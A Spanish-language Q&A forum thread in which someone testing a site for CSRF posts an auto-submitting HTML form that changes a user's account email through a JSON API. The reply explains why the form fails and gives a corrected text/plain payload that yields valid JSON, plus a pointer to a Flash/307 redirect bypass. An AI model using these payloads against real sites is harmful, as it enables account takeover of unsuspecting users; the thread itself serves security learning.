Pruebas CSRF. Error de validación 422. Configuración regional requerida

1

Por lo tanto, estoy probando este sitio en busca de cursos y creo que podría ser CSRF vulnerable. Sin embargo, cuando intento realizar una solicitud posterior, recibo un error de validación que dice que se requiere "locale" a pesar de que lo especifique en la solicitud. Aquí está el código fuente del formulario.

<html>
<head>
</head>
<body>
<
<form action="http://account.testbank.com/api/account/v1/user/email" method="post" enctype='applicatiom/json'>

    <input name='{"email":"[email protected]" ,"locale": "en"}'>
    <input type="hidden" name="locale" id="locale" value="en-US">
    <script> document.forms[0].submit()</script>




</form> 


</body>
</html>

¿Qué estoy haciendo mal?

    
pregunta 光量子 22.08.2018 - 18:15
fuente

1 respuesta

0

Veo que quieres enviar un formato JSON; un formulario HTML crea una solicitud POST que toma los atributos name y value de la siguiente manera:

name1=value1&name2=value2

Por lo tanto, su solicitud POST podría verse así:

{"email":"[email protected]" ,"locale": "en"}=&locale=en-US

Como puede ver, es un formato JSON incorrecto y la aplicación podría generar un error. Además, está utilizando el valor applicatiom/json para el atributo enctype para especificar el encabezado content-type , pero esto podría codificar el cuerpo de la solicitud POST, algo como esto:

%7B%22email%22%3A%22testuser%40gmail.com%22%20,%22locale%22%3A%20%22en%22%7D=&locale=en-US

Tienes otro formato JSON incorrecto.

Entonces, si la aplicación no valida content-type , puede usar text/plain en lugar de applicatiom/json y cambiar su formulario de la siguiente manera:

<input name='{"email":"[email protected]" ,"locale": "en' value='"}'>

La solicitud POST sería la siguiente:

{"email":"[email protected]" ,"locale": "en="}

Ahora, tiene un formato JSON correcto, el problema único podría ser el carácter = .

Si la aplicación valida content-type , hay una técnica sobre un script de Flash y una respuesta HTTP 307, te comparto un enlace sobre esta técnica.

CSRF Flash 307

Espero que esta información te ayude.

Buena suerte.

    
respondido por el hmrojas.p 23.08.2018 - 01:16
fuente

Lea otras preguntas en las etiquetas